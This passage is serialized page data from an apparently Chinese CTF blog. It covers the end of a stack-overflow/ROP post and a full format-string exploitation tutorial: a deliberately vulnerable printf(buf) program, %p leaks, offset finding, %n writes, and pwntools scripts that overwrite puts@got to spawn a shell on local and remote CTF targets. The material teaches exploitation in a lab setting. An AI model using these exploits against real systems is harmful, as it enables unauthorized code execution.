输入泄露的地址查版本。",[10,9672,9674],{"id":9673},"九必学工具","九、必学工具",[1325,9676,9677,9687],{},[1328,9678,9679],{},[1331,9680,9681,9683,9685],{},[1334,9682,2492],{},[1334,9684,3468],{},[1334,9686,3471],{},[1344,9688,9689,9707,9719],{},[1331,9690,9691,9693,9705],{},[1349,9692,3478],{},[1349,9694,9695,1728,9697,2570,9699,1728,9701,3493,9703],{},[26,9696,3483],{},[26,9698,3131],{},[26,9700,3489],{},[26,9702,3345],{},[26,9704,3496],{},[1349,9706,3500],{},[1331,9708,9709,9711,9714],{},[1349,9710,9251],{},[1349,9712,9713],{},"搜索 gadget、指定寄存器、输出地址",[1349,9715,9716],{},[26,9717,9718],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[1331,9720,9721,9724,9727],{},[1349,9722,9723],{},"GDB（pwndbg）",[1349,9725,9726],{},"断点、看栈、查看崩溃点",[1349,9728,9729,1728,9731,1728,9733],{},[26,9730,3526],{},[26,9732,3529],{},[26,9734,9735],{},"bt",[10,9737,9739],{"id":9738},"十小-ctf-实战","十、小 CTF 实战",[15,9741,2581,9742,9744,9745,9747,9748,9750],{},[26,9743,3541],{}," 运行 ",[26,9746,3118],{},"（No canary、No PIE，有 ",[26,9749,3108],{},"）。",[19,9752,9754],{"className":721,"code":9753,"language":723,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,9755,9756,9760,9764,9768,9772,9776,9780,9784,9788],{"__ignoreMap":24},[29,9757,9758],{"class":31,"line":32},[29,9759,3142],{},[29,9761,9762],{"class":31,"line":38},[29,9763,741],{"emptyLinePlaceholder":740},[29,9765,9766],{"class":31,"line":111},[29,9767,3232],{},[29,9769,9770],{"class":31,"line":157},[29,9771,3285],{},[29,9773,9774],{"class":31,"line":163},[29,9775,741],{"emptyLinePlaceholder":740},[29,9777,9778],{"class":31,"line":169},[29,9779,3409],{},[29,9781,9782],{"class":31,"line":215},[29,9783,3335],{},[29,9785,9786],{"class":31,"line":221},[29,9787,3628],{},[29,9789,9790],{"class":31,"line":227},[29,9791,3423],{},[15,9793,294],{},[19,9795,9797],{"className":9796,"code":3643,"language":300,"meta":24},[298],[26,9798,3643],{"__ignoreMap":24},[10,9800,9802],{"id":9801},"十一小结","十一、小结",[15,9804,9805,9806,9808,9809,9811],{},"栈溢出主线：",[26,9807,3505],{}," 判断防护 → ",[26,9810,3131],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1463,9813,9814],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":9816},[9817,9818,9819,9820,9821,9822,9823,9824,9825,9826,9827],{"id":8747,"depth":111,"text":8748},{"id":1561,"depth":111,"text":1562},{"id":2868,"depth":111,"text":2869},{"id":8927,"depth":111,"text":8928},{"id":3112,"depth":111,"text":3113},{"id":9123,"depth":111,"text":9124},{"id":9231,"depth":111,"text":9232},{"id":9298,"depth":111,"text":9299},{"id":9673,"depth":111,"text":9674},{"id":9738,"depth":111,"text":9739},{"id":9801,"depth":111,"text":9802},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1480,"image":9830,"alt":9831,"tags":9832,"published":740},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[550,3034,9833,1486],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8742,"description":9828},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9839,"title":9840,"body":9841,"description":10866,"extension":1478,"meta":10867,"navigation":740,"ogImage":4676,"path":10871,"seo":10872,"stem":10873,"__hash__":10874},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9842,"toc":10854},[9843,9847,9850,9865,9880,9897,9901,9906,9955,9976,9980,9985,9987,9996,9998,10004,10007,10013,10024,10032,10036,10041,10057,10060,10062,10070,10072,10078,10081,10087,10097,10164,10169,10199,10203,10208,10221,10229,10284,10337,10340,10349,10352,10356,10361,10376,10381,10387,10389,10402,10405,10448,10452,10463,10471,10477,10547,10580,10583,10662,10668,10697,10707,10709,10767,10771,10778,10787,10830,10832,10838,10840,10851],[10,9844,9846],{"id":9845},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9848,9849],{},"C 程序员常写的输出代码：",[19,9851,9853],{"className":2262,"code":9852,"language":684,"meta":24,"style":24},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[26,9854,9855,9860],{"__ignoreMap":24},[29,9856,9857],{"class":31,"line":32},[29,9858,9859],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[29,9861,9862],{"class":31,"line":38},[29,9863,9864],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9866,9867,9868,9871,9872,9875,9876,9879],{},"当 ",[26,9869,9870],{},"buf"," 内容是 ",[26,9873,9874],{},"%p"," 时，",[26,9877,9878],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9881,9882,9883,9891],"ul",{},[2238,9884,9885,2570,9887,9890],{},[26,9886,9874],{},[26,9888,9889],{},"%s","：任意读（泄露内存）。",[2238,9892,9893,9896],{},[26,9894,9895],{},"%n","：任意写（写入内存）。",[10,9898,9900],{"id":9899},"二漏洞程序与编译","二、漏洞程序与编译",[15,9902,9903,178],{},[26,9904,9905],{},"fmt.c",[19,9907,9909],{"className":2262,"code":9908,"language":684,"meta":24,"style":24},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[26,9910,9911,9915,9919,9923,9928,9932,9937,9942,9947,9951],{"__ignoreMap":24},[29,9912,9913],{"class":31,"line":32},[29,9914,2885],{},[29,9916,9917],{"class":31,"line":38},[29,9918,741],{"emptyLinePlaceholder":740},[29,9920,9921],{"class":31,"line":111},[29,9922,2940],{},[29,9924,9925],{"class":31,"line":157},[29,9926,9927],{},"    char buf[100];\n",[29,9929,9930],{"class":31,"line":163},[29,9931,2945],{},[29,9933,9934],{"class":31,"line":169},[29,9935,9936],{},"    printf(\"> \");\n",[29,9938,9939],{"class":31,"line":215},[29,9940,9941],{},"    fgets(buf, sizeof(buf), stdin);\n",[29,9943,9944],{"class":31,"line":221},[29,9945,9946],{},"    printf(buf);          // 漏洞\n",[29,9948,9949],{"class":31,"line":227},[29,9950,2965],{},[29,9952,9953],{"class":31,"line":773},[29,9954,224],{},[19,9956,9958],{"className":82,"code":9957,"language":84,"meta":24,"style":24},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[26,9959,9960],{"__ignoreMap":24},[29,9961,9962,9964,9966,9969,9972,9974],{"class":31,"line":32},[29,9963,2982],{"class":91},[29,9965,2985],{"class":116},[29,9967,9968],{"class":95}," fmt",[29,9970,9971],{"class":95}," fmt.c",[29,9973,2994],{"class":116},[29,9975,2997],{"class":116},[10,9977,9979],{"id":9978},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9981,9982,9984],{},[67,9983,251],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9986,1298],{},[19,9988,9990],{"className":82,"code":9989,"language":84,"meta":24,"style":24},"./fmt\n",[26,9991,9992],{"__ignoreMap":24},[29,9993,9994],{"class":31,"line":32},[29,9995,9989],{"class":91},[15,9997,1621],{},[19,9999,10002],{"className":10000,"code":10001,"language":300,"meta":24},[298],"%p.%p.%p.%p.%p.%p\n",[26,10003,10001],{"__ignoreMap":24},[15,10005,10006],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[19,10008,10011],{"className":10009,"code":10010,"language":300,"meta":24},[298],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[26,10012,10010],{"__ignoreMap":24},[15,10014,10015,10016,10019,10020,10023],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[26,10017,10018],{},"0x70252e70","，正是 ",[26,10021,10022],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,10025,10026,178,10029,10031],{},[67,10027,10028],{},"为什么能泄露",[26,10030,9878],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,10033,10035],{"id":10034},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,10037,10038,10040],{},[67,10039,251],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,10042,10043,10045,10046,10048,10049,10052,10053,10056],{},[67,10044,261],{},"：在输入开头放 4 个 ",[26,10047,3349],{},"，用 ",[26,10050,10051],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[26,10054,10055],{},"0x41414141","，哪个位置就是输入起点。",[15,10058,10059],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,10061,1298],{},[19,10063,10064],{"className":82,"code":9989,"language":84,"meta":24,"style":24},[26,10065,10066],{"__ignoreMap":24},[29,10067,10068],{"class":31,"line":32},[29,10069,9989],{"class":91},[15,10071,1621],{},[19,10073,10076],{"className":10074,"code":10075,"language":300,"meta":24},[298],"AAAA.%6$p\n",[26,10077,10075],{"__ignoreMap":24},[15,10079,10080],{},"预期输出（Linux x86-64 典型情况）：",[19,10082,10085],{"className":10083,"code":10084,"language":300,"meta":24},[298],"> AAAA.0x41414141\n",[26,10086,10084],{"__ignoreMap":24},[15,10088,10089,10090,10092,10093,10096],{},"出现 ",[26,10091,10055],{},"（",[26,10094,10095],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[19,10098,10100],{"className":721,"code":10099,"language":723,"meta":24,"style":24},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[26,10101,10102,10106,10110,10115,10120,10125,10130,10135,10140,10145,10150,10155,10160],{"__ignoreMap":24},[29,10103,10104],{"class":31,"line":32},[29,10105,3142],{},[29,10107,10108],{"class":31,"line":38},[29,10109,741],{"emptyLinePlaceholder":740},[29,10111,10112],{"class":31,"line":111},[29,10113,10114],{},"for i in range(1, 15):\n",[29,10116,10117],{"class":31,"line":157},[29,10118,10119],{},"    p = process('./fmt')\n",[29,10121,10122],{"class":31,"line":163},[29,10123,10124],{},"    p.recvuntil(b'> ')\n",[29,10126,10127],{"class":31,"line":169},[29,10128,10129],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[29,10131,10132],{"class":31,"line":215},[29,10133,10134],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[29,10136,10137],{"class":31,"line":221},[29,10138,10139],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[29,10141,10142],{"class":31,"line":227},[29,10143,10144],{},"    out = p.recvall()\n",[29,10146,10147],{"class":31,"line":773},[29,10148,10149],{},"    if b'0x41414141' in out:\n",[29,10151,10152],{"class":31,"line":779},[29,10153,10154],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[29,10156,10157],{"class":31,"line":785},[29,10158,10159],{},"        print(f'offset = {i}')\n",[29,10161,10162],{"class":31,"line":791},[29,10163,872],{},[15,10165,294,10166,127],{},[26,10167,10168],{},"offset = 6",[15,10170,10171,10172,5264,10175,10177,10178,10180,10181,10184,10185,10188,10189,10184,10192,2158,10195,10198],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[26,10173,10174],{},"rdi, rsi, rdx, rcx, r8, r9",[26,10176,9878],{}," 自己占 ",[26,10179,9285],{},"，所以 ",[26,10182,10183],{},"%1$p"," 到 ",[26,10186,10187],{},"%5$p"," 对应 ",[26,10190,10191],{},"rsi",[26,10193,10194],{},"r9",[26,10196,10197],{},"%6$p"," 开始读栈。",[10,10200,10202],{"id":10201},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10204,10205,10207],{},[67,10206,251],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10209,10210,10212,10213,10216,10217,10220],{},[67,10211,261],{},"：不同数据在栈上有固定特征——canary 以 ",[26,10214,10215],{},"00"," 结尾，libc 地址以 ",[26,10218,10219],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10222,2243,10223,10184,10225,10228],{},[26,10224,10197],{},[26,10226,10227],{},"%40$p"," 全部打出来，识别特征值：",[1325,10230,10231,10241],{},[1328,10232,10233],{},[1331,10234,10235,10238],{},[1334,10236,10237],{},"值特征",[1334,10239,10240],{},"内容",[1344,10242,10243,10254,10265,10275],{},[1331,10244,10245,10251],{},[1349,10246,10247,10248,10250],{},"以 ",[26,10249,10215],{}," 结尾的随机值",[1349,10252,10253],{},"canary",[1331,10255,10256,10262],{},[1349,10257,10258,10261],{},[26,10259,10260],{},"0x7fff"," 开头",[1349,10263,10264],{},"栈地址",[1331,10266,10267,10272],{},[1349,10268,10269,10261],{},[26,10270,10271],{},"0x55/0x56",[1349,10273,10274],{},"程序代码地址（PIE 基址相关）",[1331,10276,10277,10281],{},[1349,10278,10279,10261],{},[26,10280,10219],{},[1349,10282,10283],{},"libc 地址",[19,10285,10287],{"className":721,"code":10286,"language":723,"meta":24,"style":24},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[26,10288,10289,10294,10299,10303,10308,10313,10317,10322,10327,10332],{"__ignoreMap":24},[29,10290,10291],{"class":31,"line":32},[29,10292,10293],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[29,10295,10296],{"class":31,"line":38},[29,10297,10298],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[29,10300,10301],{"class":31,"line":111},[29,10302,3335],{},[29,10304,10305],{"class":31,"line":157},[29,10306,10307],{},"out = p.recvall().decode().split('.')\n",[29,10309,10310],{"class":31,"line":163},[29,10311,10312],{},"# 按点号切分，得到每个位置的值。\n",[29,10314,10315],{"class":31,"line":169},[29,10316,741],{"emptyLinePlaceholder":740},[29,10318,10319],{"class":31,"line":215},[29,10320,10321],{},"for i, v in enumerate(out):\n",[29,10323,10324],{"class":31,"line":221},[29,10325,10326],{},"    if v.endswith('00') and len(v) == 18:\n",[29,10328,10329],{"class":31,"line":227},[29,10330,10331],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[29,10333,10334],{"class":31,"line":773},[29,10335,10336],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10338,10339],{},"泄露 libc 地址后：",[19,10341,10343],{"className":721,"code":10342,"language":723,"meta":24,"style":24},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[26,10344,10345],{"__ignoreMap":24},[29,10346,10347],{"class":31,"line":32},[29,10348,10342],{},[15,10350,10351],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10353,10355],{"id":10354},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10357,10358,10360],{},[67,10359,251],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10362,10363,178,10365,10367,10368,10371,10372,10375],{},[67,10364,261],{},[26,10366,9895],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[26,10369,10370],{},"%100c"," 精确控制打印量，再用 ",[26,10373,10374],{},"%N$n"," 写到目标地址。",[15,10377,10378,10380],{},[26,10379,9895],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[19,10382,10385],{"className":10383,"code":10384,"language":300,"meta":24},[298],"%100c%7$n\n",[26,10386,10384],{"__ignoreMap":24},[15,10388,9213],{},[2235,10390,10391,10396],{},[2238,10392,10393,10395],{},[26,10394,10370],{}," 打印 100 个填充字符，已打印数变成 100。",[2238,10397,10398,10401],{},[26,10399,10400],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10403,10404],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[1325,10406,10407,10417],{},[1328,10408,10409],{},[1331,10410,10411,10414],{},[1334,10412,10413],{},"说明符",[1334,10415,10416],{},"写入字节数",[1344,10418,10419,10428,10438],{},[1331,10420,10421,10425],{},[1349,10422,10423],{},[26,10424,9895],{},[1349,10426,10427],{},"4 字节",[1331,10429,10430,10435],{},[1349,10431,10432],{},[26,10433,10434],{},"%hn",[1349,10436,10437],{},"2 字节",[1331,10439,10440,10445],{},[1349,10441,10442],{},[26,10443,10444],{},"%hhn",[1349,10446,10447],{},"1 字节",[10,10449,10451],{"id":10450},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10453,10454,10456,10457,10459,10460,10462],{},[67,10455,251],{},"：把程序即将调用的 ",[26,10458,9633],{}," 改成我们的 ",[26,10461,3108],{},"，实现控制流劫持。",[15,10464,10465,178,10467,10470],{},[67,10466,261],{},[26,10468,10469],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10472,10473,10474,178],{},"目标程序 ",[26,10475,10476],{},"fmt2.c",[19,10478,10480],{"className":2262,"code":10479,"language":684,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[26,10481,10482,10486,10490,10494,10498,10502,10506,10510,10514,10518,10522,10526,10530,10534,10539,10543],{"__ignoreMap":24},[29,10483,10484],{"class":31,"line":32},[29,10485,2885],{},[29,10487,10488],{"class":31,"line":38},[29,10489,2890],{},[29,10491,10492],{"class":31,"line":111},[29,10493,741],{"emptyLinePlaceholder":740},[29,10495,10496],{"class":31,"line":157},[29,10497,2899],{},[29,10499,10500],{"class":31,"line":163},[29,10501,2904],{},[29,10503,10504],{"class":31,"line":169},[29,10505,224],{},[29,10507,10508],{"class":31,"line":215},[29,10509,741],{"emptyLinePlaceholder":740},[29,10511,10512],{"class":31,"line":221},[29,10513,2940],{},[29,10515,10516],{"class":31,"line":227},[29,10517,9927],{},[29,10519,10520],{"class":31,"line":773},[29,10521,2945],{},[29,10523,10524],{"class":31,"line":779},[29,10525,9936],{},[29,10527,10528],{"class":31,"line":785},[29,10529,9941],{},[29,10531,10532],{"class":31,"line":791},[29,10533,9946],{},[29,10535,10536],{"class":31,"line":797},[29,10537,10538],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[29,10540,10541],{"class":31,"line":803},[29,10542,2965],{},[29,10544,10545],{"class":31,"line":809},[29,10546,224],{},[19,10548,10550],{"className":82,"code":10549,"language":84,"meta":24,"style":24},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[26,10551,10552,10568],{"__ignoreMap":24},[29,10553,10554,10556,10558,10561,10564,10566],{"class":31,"line":32},[29,10555,2982],{"class":91},[29,10557,2985],{"class":116},[29,10559,10560],{"class":95}," fmt2",[29,10562,10563],{"class":95}," fmt2.c",[29,10565,2994],{"class":116},[29,10567,2997],{"class":116},[29,10569,10570,10572,10574,10577],{"class":31,"line":38},[29,10571,3034],{"class":91},[29,10573,3037],{"class":95},[29,10575,10576],{"class":95}," ./fmt2",[29,10578,10579],{"class":3002},"     # 需为 Partial RELRO，GOT 可写\n",[15,10581,10582],{},"利用脚本：",[19,10584,10586],{"className":721,"code":10585,"language":723,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[26,10587,10588,10592,10596,10601,10606,10611,10615,10620,10625,10630,10635,10640,10645,10650,10654,10658],{"__ignoreMap":24},[29,10589,10590],{"class":31,"line":32},[29,10591,3142],{},[29,10593,10594],{"class":31,"line":38},[29,10595,741],{"emptyLinePlaceholder":740},[29,10597,10598],{"class":31,"line":111},[29,10599,10600],{},"context.binary = elf = ELF('./fmt2')\n",[29,10602,10603],{"class":31,"line":157},[29,10604,10605],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[29,10607,10608],{"class":31,"line":163},[29,10609,10610],{},"p = process('./fmt2')\n",[29,10612,10613],{"class":31,"line":169},[29,10614,741],{"emptyLinePlaceholder":740},[29,10616,10617],{"class":31,"line":215},[29,10618,10619],{},"offset = 6\n",[29,10621,10622],{"class":31,"line":221},[29,10623,10624],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[29,10626,10627],{"class":31,"line":227},[29,10628,10629],{},"# fmtstr_payload(offset, writes)：\n",[29,10631,10632],{"class":31,"line":773},[29,10633,10634],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[29,10636,10637],{"class":31,"line":779},[29,10638,10639],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[29,10641,10642],{"class":31,"line":785},[29,10643,10644],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[29,10646,10647],{"class":31,"line":791},[29,10648,10649],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[29,10651,10652],{"class":31,"line":797},[29,10653,741],{"emptyLinePlaceholder":740},[29,10655,10656],{"class":31,"line":803},[29,10657,3335],{},[29,10659,10660],{"class":31,"line":809},[29,10661,3423],{},[15,10663,10664,10667],{},[26,10665,10666],{},"fmtstr_payload"," 自动完成：",[2235,10669,10670,10675,10682,10691],{},[2238,10671,2243,10672,10674],{},[26,10673,3108],{}," 地址拆成低 2 字节和高 2 字节。",[2238,10676,10677,10678,10681],{},"生成 ",[26,10679,10680],{},"%c"," 控制打印量。",[2238,10683,10684,10685,1728,10687,10690],{},"把两个目标地址（",[26,10686,10469],{},[26,10688,10689],{},"puts@got+2","）放到对应参数位置。",[2238,10692,10693,10694,10696],{},"用 ",[26,10695,10434],{}," 分别写入。",[15,10698,10699,10700,10703,10704,10706],{},"预期结果：程序执行 ",[26,10701,10702],{},"puts(\"Done\")"," 时实际调用 ",[26,10705,3448],{},"，进入 shell。",[10,10708,3457],{"id":3456},[1325,10710,10711,10721],{},[1328,10712,10713],{},[1331,10714,10715,10717,10719],{},[1334,10716,2492],{},[1334,10718,3468],{},[1334,10720,3471],{},[1344,10722,10723,10741,10753],{},[1331,10724,10725,10727,10739],{},[1349,10726,3478],{},[1349,10728,10729,1728,10731,1728,10734,2570,10736],{},[26,10730,10666],{},[26,10732,10733],{},"FmtStr",[26,10735,3496],{},[26,10737,10738],{},"recvuntil",[1349,10740,3500],{},[1331,10742,10743,10745,10748],{},[1349,10744,3505],{},[1349,10746,10747],{},"看 RELRO、Canary、PIE",[1349,10749,10750],{},[26,10751,10752],{},"pwn checksec ./fmt2",[1331,10754,10755,10757,10760],{},[1349,10756,9723],{},[1349,10758,10759],{},"断点、看栈、验证参数位置",[1349,10761,10762,1728,10765],{},[26,10763,10764],{},"break main",[26,10766,3529],{},[10,10768,10770],{"id":10769},"九小-ctf-实战","九、小 CTF 实战",[15,10772,10773,10774,10777],{},"题目：远程运行 ",[26,10775,10776],{},"fmt2","（Partial RELRO、No PIE）。",[15,10779,10780,10782,10783,10786],{},[67,10781,261],{},"：与本地脚本唯一区别是 ",[26,10784,10785],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[19,10788,10790],{"className":721,"code":10789,"language":723,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,10791,10792,10796,10800,10804,10809,10813,10818,10822,10826],{"__ignoreMap":24},[29,10793,10794],{"class":31,"line":32},[29,10795,3142],{},[29,10797,10798],{"class":31,"line":38},[29,10799,741],{"emptyLinePlaceholder":740},[29,10801,10802],{"class":31,"line":111},[29,10803,10600],{},[29,10805,10806],{"class":31,"line":157},[29,10807,10808],{},"p = remote('1.2.3.4', 10002)\n",[29,10810,10811],{"class":31,"line":163},[29,10812,741],{"emptyLinePlaceholder":740},[29,10814,10815],{"class":31,"line":169},[29,10816,10817],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[29,10819,10820],{"class":31,"line":215},[29,10821,3335],{},[29,10823,10824],{"class":31,"line":221},[29,10825,3628],{},[29,10827,10828],{"class":31,"line":227},[29,10829,3423],{},[15,10831,294],{},[19,10833,10836],{"className":10834,"code":10835,"language":300,"meta":24},[298],"flag{format_string}\n",[26,10837,10835],{"__ignoreMap":24},[10,10839,3649],{"id":3648},[15,10841,10842,10843,2570,10845,10847,10848,10850],{},"格式化字符串提供两种原语：",[26,10844,9874],{},[26,10846,9889],{}," 任意读，",[26,10849,9895],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1463,10852,10853],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":10855},[10856,10857,10858,10859,10860,10861,10862,10863,10864,10865],{"id":9845,"depth":111,"text":9846},{"id":9899,"depth":111,"text":9900},{"id":9978,"depth":111,"text":9979},{"id":10034,"depth":111,"text":10035},{"id":10201,"depth":111,"text":10202},{"id":10354,"depth":111,"text":10355},{"id":10450,"depth":111,"text":10451},{"id":3456,"depth":111,"text":3457},{"id":10769,"depth":111,"text":10770},{"id":3648,"depth":111,"text":3649},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1480,"image":4676,"alt":10868,"tags":10869,"published":740},"格式化字符串深入实战",[550,3034,10870,1486],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9840,"description":10866},"blogs/18. 